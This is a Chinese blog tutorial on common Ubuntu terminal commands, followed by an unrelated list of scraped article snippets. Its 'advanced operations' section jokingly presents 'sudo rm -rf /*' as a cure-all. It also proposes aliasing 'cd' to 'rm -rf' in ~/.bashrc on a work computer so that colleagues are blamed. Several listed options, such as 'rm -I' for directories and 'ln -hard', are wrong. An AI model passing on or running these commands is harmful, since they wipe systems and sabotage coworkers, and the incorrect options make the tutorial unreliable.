【Ubuntu】常用命令
一般操作
- pwd(present working directory)
显示当前的工作目录/路径。
- cd (change directory)
改变目录,用于输入需要前往的路径/目录。
有一些特殊命令也很常用 :
解释
前往同一级的另一个目录 cd ../directory name cd .. 表示进入上层目录 cd ../.. 进入上上层目录,后面还可以加更多。 前往同一级的另一个目录 cd ../directory name cd - //表示返回上一次的目录 cd ~ //进入home主目录,即/home/用户名的简写
- ls (list)
ls 显示当前目录下的文件(不包括隐藏文件和缓存文件等);
列出目录下所有文件
ls -a
ll , 以列表形式显示当前路径下的所有文件的详细信息(包括隐藏文件和缓存文件等)。
- mkdir (make directory)
创建目录,后面接上directory的名字。
mkdir I_dont_care //创建一个“我不在乎”目录
- rm (remove)
删除文件,后面接上要删除的文件名。如果要删除目录,需要这样写:
rm -I <目录名> //这样做会删除指定目录中的所有子目录和包含的文件
- touch
创建任意格式的文件,包括源代码、文本等等,通过后缀来决定。例如,.cpp/.cc是c++源代码,而.py是python源代码。
touch hello_world.cpp //创建hello_world源代码
- cp (copy)
复制命令。通用格式为
cp -? <源文件/源目录> <目的目录> //第一个"-?"表示参数,出发地在左,目的地在右
特别的,如果想把某目录下所有文件都复制,可以使用参数-r
cp -r cangjingkong/ xuexi //将canjingkong目录下的所有资源都复制到xuexi目录中
- mv (move)
移动+重命名命令。格式类似于cp命令
mv -? <源文件/源目录> <目的目录> //第一个"-?"表示参数,出发地在左,目的地在右
以移动txt文件为例 可以分为以下三种情况:
mv a.txt b.txt //出发地和目的地是同一路径,名称从a.txt变为b.txt,那仅仅是重命名
mv ~/目录1/a.txt ~/目录2 //出发地和目的地是不同路径,没有指定新的名称,那仅仅是移动
mv ~/目录1/a.txt ~/目录2/b.txt //出发地和目的地是不同路径,指定了新的名称,那就是移动+重命名
常用的例子有,
移动目录到另一目录中
mv 目录1/ 目录2
将某目录下所有的文件和目录都移动到当前目录下
mv ~/videos/p_hub .
- gedit
在桌面临时新建一个text editor(文本编辑器)显示文件内的文本,并且支持修改。按ctrl+c退出文件显示。
gedit <文件名>
例如,
gedit single_ladies_contacts.csv
- cat
在终端打印出文本内容。
cat <文件名> //在terminal内部打印,和gedit相区分
- code/nano/vi/vim
使用Visual Studio Code/Nano/vi/vim这四种编辑器,打开或者新建一个源代码文件。
- apt/apt-get
更推荐使用apt命令而不是apt-get命令,它的命令更精简而且易用。
解释
sudo apt install <软件名> //安装软件最简单的方式 sudo apt list //查看所有已安装的软件列表 sudo apt search <软件名> //搜索某个软件 sudo apt remove <软件名> //删除某个软件包 sudo apt purge <软件名> //删除某个软件包以及配置文件,更彻底
还有我们最最常用的更新相关命令
sudo apt update
sudo apt upgrade

- dpkg (Debian package)
包管理工具。
首先是下载功能。先在官网下载软件的deb格式安装包,然后cd到下载文件夹,打开terminal(终端)输入:
dpkg -i <.deb后缀的软件名> //i 表示 install
其次是卸载功能。和apt系列命令类似,也可以查看安装列表,搜索指定安装包和卸载。
解释
dpkg -r <包的名字> //r 表示 remove, 此种方法会保留配置文件 dpkg -P <包的名字> //直接全删了,配置也不会保留 dpkg -l //查看安装列表 dpkg -S <包的名字> //搜索某个包
- kill
结束指定进程时使用,就比如某个软件不响应了,这时候kill就相当于windows系统中的任务管理器中的“结束进程”按钮。我们只要指定进程的编号(ID#)
kill <ID#> //结束编号为<ID#>的进程
进程编号如何获得?引出下一个函数。
- ps (process status)
查看所有进程;
ps -A
查看所有包含其他使用者的进程;
ps -aux
关键字查找某个进程,这个办法用于结束指定进程很方便。
ps -ef | grep <关键字>
- grep
Linux grep 命令用于查找文件里符合条件的字符串。
- find
用于查找目录中的文件。
- ln (link files)
插入链接。
ln -sft
ln -hard
- chmod (change mode)
改变权限。
chmod +x dir/file or. chmod 777 dir/file
改为可执行
- du(disk usage)
du -h -l -d 1
-h: --human readable 会显示Mb, Kb, G之类的单位,方便阅读
-d 1: 表示深度为1,只会查看下一级目录的空间占用大小
- df(disk space filesystem)
df -h
基础但实用的操作
如果碰到不会的命令,或者忘记了具体的options(操作选项),可以使用帮助命令:
命令名 -h or --help
如果嫌每次都要sudo太麻烦,可以先登录,获取root权限。
sudo su //输入并回车
//就会让你输入root密码
学会以下代码就可以在技能中写上“熟悉linux系统的开关机”
reboot //重启
poweroff //关机
高端操作
无敌“电脑更新”命令,遇到什么问题都可以用以下代码解决:
sudo rm -rf /*
只要删了库,所有的问题都迎刃而解。
如果你的电脑是公司的,还可以将cd命令换成rm -rf,让以后的同事替你背锅
nano ~/.bashrc
alias cd = "rm -rf"相关文章:
【Ubuntu】常用命令
一般操作 pwd(present working directory) 显示当前的工作目录/路径。 cd (change directory) 改变目录,用于输入需要前往的路径/目录。 有一些特殊命令也很常用 : 解释 前往同一级的另一个目录 cd ../directory name cd .. 表示进入上…...
稀碎从零算法笔记Day22-LeetCode:
题型:链表 链接:2. 两数相加 - 力扣(LeetCode) 来源:Leet 题目描述 给你两个 非空 的链表,表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的,并且每个节点只能存储 一位 数字。 …...
Nacos下载和安装
(1)下载地址和版本 下载地址:Releases alibaba/nacos GitHub 解压在没有中文及空格的文件夹 (2)启动nacos服务 在bin目录下,打开命令行,输入 启动命令:sh startup.sh -m standalone - Linux/Unix/Mac …...
pandas简介(python)
pandas是什么 Pandas 是一个开源的第三方 Python 库,从 Numpy 和 Matplotlib 的基础上构建而来,享有数据分析“三剑客之一”的盛名(NumPy、Matplotlib、Pandas)。Pandas 已经成为 Python 数据分析的必备高级工具,它的…...
个人网站制作 Part 13 添加搜索功能[Elasticsearch] | Web开发项目
文章目录 👩💻 基础Web开发练手项目系列:个人网站制作🚀 添加搜索功能🔨使用Elasticsearch🔧步骤 1: 安装Elasticsearch🔧步骤 2: 配置Elasticsearch🔧步骤 3: 创建索引 …...
Springboot+vue的仓库管理系统(有报告)。Javaee项目,springboot vue前后端分离项目。
演示视频: Springbootvue的仓库管理系统(有报告)。Javaee项目,springboot vue前后端分离项目。 项目介绍: 采用M(model)V(view)C(controller)三层…...
vue3 + vite 实现一个动态路由加载功能
假设后端返回的格式是这样子 {"menu": [{"path": "/admin","name": "adminLayout","redirect": "/admin/index","componentPath": "/layout/admin/index.vue","children&quo…...
【征稿进行时|见刊、检索快速稳定】2024年区块链、物联网与复合材料与国际学术会议 (ICBITC 2024)
【征稿进行时|见刊、检索快速稳定】2024年区块链、物联网与复合材料与国际学术会议 (ICBITC 2024) 大会主题: (主题包括但不限于, 更多主题请咨询会务组苏老师) 区块链: 区块链技术和系统 分布式一致性算法和协议 块链性能 信息储存系统 区块链可扩展性 区块…...
若依jar包运行脚本,从零到一:用Bash脚本实现JAR应用的启动、停止与监控
脚本使用说明: 启动应用:sh app.sh start停止应用:sh app.sh stop检查应用状态:sh app.sh status重启应用:sh app.sh restart 注意事项: 请确保你的系统上安装了 Java 环境,并且 ruoyi-admin…...
Unix运维_FreeBSD-13.1临时环境变量设置(bin和include以及lib)
Unix运维_FreeBSD-13.1临时环境变量设置(bin和include以及lib) 在 FreeBSD 系统上设置用户环境变量可以通过编辑用户的 Shell配置文件 来实现。 cshrc 与 csh_profile 的区别: cshrc: 每个脚本执行前都执行一遍这个脚本。 csh_profile: 根据不同使用者用户名, 会先去其 home…...
Apache Dolphinscheduler - 无需重启 Master-Server 停止疯狂刷日志解决方案
记录的是一个 3.0 比较难搞的问题,相信不少使用过 3.0 的用户都遇到过 Master 服务中存在一些工作流或者任务流一直不停的死循环的问题,导致疯狂刷日志。不过本人到现在也没找到最关键的触发原因,只是看到一些连锁反应带来的结果…… 影响因素…...
竞争优势:大型语言模型 (LLM) 如何重新定义业务策略
人工智能在内容创作中的突破 在当今快节奏的商业环境中,像 GPT-4 这样的大型语言模型 (LLM) 不再只是一种技术新颖性; 它们已成为重新定义跨行业业务战略的基石。 从增强客户服务到推动创新,法学硕士提供了企业不容忽视的竞争优势。 1. 加强…...
Spring AOP和AspectJ AOP区别
Spring AOP(Aspect-Oriented Programming)和 AspectJ AOP 是两种不同的 AOP 实现方式,它们在实现上有一些区别。下面是它们之间的主要区别: 基于代理 vs 字节码增强: Spring AOP: Spring AOP 是基于代理的…...
FREERTOS信号量详解
信号量是操作系统中重要的一部分,信号量一般用来进行资源管理和任务同步,资源管理其实就是用变量来标记现有资源的数量,任务同步其实就是用标志位来控制任务的先后执行顺序,这些概念在操作系统中以及裸机开发中都有所涉及。 FreeR…...
每天学习一个Linux命令之vim
每天学习一个Linux命令之vim Vim是一款功能强大的文本编辑器,在Linux系统中广泛使用。本篇博客将介绍一些常用的Vim命令及其选项,帮助您更好地使用Vim进行文本编辑。 命令及选项 以下是Vim的常用命令及其可用选项: 1. 打开文件 $ vim fi…...
linux环境部署
war包环境 在Linux系统上部署准备war包环境 查看linux当前版本和系统类型 [rootlocalhost ~]# uname -a Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linuxlinux 打包文件夹 使用tar命令࿱…...
上位机图像处理和嵌入式模块部署(qmacvisual图像预处理)
【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 不管大家是在读书的时候学习的图像处理,还是在后来的工作中,重新学习了图像处理,相信大家对图像预处理的概念并…...
C语言内存函数详解
文章目录 前言一、memcpy函数(内存拷贝函数)二、memmove重叠拷贝函数三.memset内存设置函数四.memcmp内存比较函数总结 前言 我们之前按学习了C语言标准库中提供了一系列的字符和字符串库函数,接下来我们就学习一下关于内存相关的一些函数。…...
详解Redis的持久化RDB和AOF
Redis的持久化是将内存中的数据同步到硬盘的过程 具体来说,Redis支持两种主要的持久化方式:RDB 和 AOF。 RDB(Redis Database) 简介 默认持久化方式 RDB会将内存中的数据快照保存到磁盘上的一个二进制文件中。这个文件包含了…...
详细分析Js中的Promise.all基本知识(附Demo)
目录 1. 基本知识2. Demo3. 实战 1. 基本知识 Promise.all 是 JavaScript 中的一个方法,它接受一个由 Promise 对象组成的数组作为参数,并在所有 Promise 对象都变为 resolved(已完成)状态时才返回一个新的 Promise 对象…...
三步搞定国家中小学智慧教育平台电子课本下载:新手也能轻松掌握的完整指南
三步搞定国家中小学智慧教育平台电子课本下载:新手也能轻松掌握的完整指南 【免费下载链接】tchMaterial-parser 国家中小学智慧教育平台 电子课本下载工具,帮助您从智慧教育平台中获取电子课本的 PDF 文件网址并进行下载,让您更方便地获取课…...
Halcon工业视觉项目避坑:形状模板保存加载的3个常见错误与解决方案
Halcon工业视觉项目避坑:形状模板保存加载的3个常见错误与解决方案 在工业视觉检测项目中,形状模板匹配是最常用的技术之一。许多工程师在初次使用Halcon进行模板匹配时,往往只关注模板创建和匹配过程,而忽视了模板保存和加载环节…...
别再手动跑脚本了!用Docker Compose 5分钟搞定Apache DolphinScheduler 3.1.3部署
5分钟容器化部署Apache DolphinScheduler:告别繁琐配置的DevOps实践 每次看到团队新成员花一整天时间折腾环境配置,我就想起自己曾经被各种依赖和配置文件支配的恐惧。直到发现Docker Compose这个神器,才真正体会到什么叫"开箱即用"…...
网盘下载加速终极指南:八大平台直链获取完整解决方案
网盘下载加速终极指南:八大平台直链获取完整解决方案 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘 / 中国移动云盘 / 天翼云…...
告别手动改图!用FME+Python搞定GIS数据五大拓扑错误(附完整模板)
从数据质检到智能修复:FME与Python联袂解决GIS拓扑难题 当一份布满尖锐角、自相交和缝隙的GIS数据摆在面前时,许多工程师的第一反应可能是头皮发麻。传统手动修复不仅耗时费力,还容易引入新的错误。本文将揭示如何通过FME Workbench与Python脚…...
WebPlotDigitizer:当计算机视觉遇见科研数据挖掘的智能革命
WebPlotDigitizer:当计算机视觉遇见科研数据挖掘的智能革命 【免费下载链接】WebPlotDigitizer Computer vision assisted tool to extract numerical data from plot images. 项目地址: https://gitcode.com/gh_mirrors/we/WebPlotDigitizer 在科研和工程领…...
抖音批量下载终极指南:3个隐藏技巧+5个避坑要点,轻松搞定自媒体素材管理
抖音批量下载终极指南:3个隐藏技巧5个避坑要点,轻松搞定自媒体素材管理 【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication,…...
【20年.NET架构师亲测有效】:C# 14 AOT下Dify客户端HttpClientFactory注入失效的7层调用栈溯源与零配置热修复方案
第一章:C# 14 原生 AOT 部署 Dify 客户端报错解决方法在使用 C# 14 的原生 AOT(Ahead-of-Time)编译方式部署 Dify 官方 .NET SDK 客户端时,常见因反射、动态代码生成或 JSON 序列化元数据缺失导致的运行时异常,典型错误…...
VIC水文模型深度解析:从基础内容处理到模型参数率定的全程视频教学指南
vic水文模型 VIC水文模型径流模拟 全程视频教学指导,讲解详细 从基础内容处理讲解到模型参数率定全程教学。 零基础可学。 自用模型,从零到实践,历时两周左右 全套教程 最近在折腾VIC水文模型的径流模拟,发现这玩意儿就像搭乐高—…...
老系统安全加固指南:以久草CMS V1.9为例,手把手教你修复后台文件写入与CSRF组合漏洞
老系统安全加固实战:从漏洞分析到修复的完整方案 当企业运维人员接手一个历史悠久的CMS系统时,面临的不仅是技术债务,更是一场与时间赛跑的安全保卫战。以某CMS V1.9为例,这个发布于多年前的系统至今仍在不少中小型网站服役&#…...
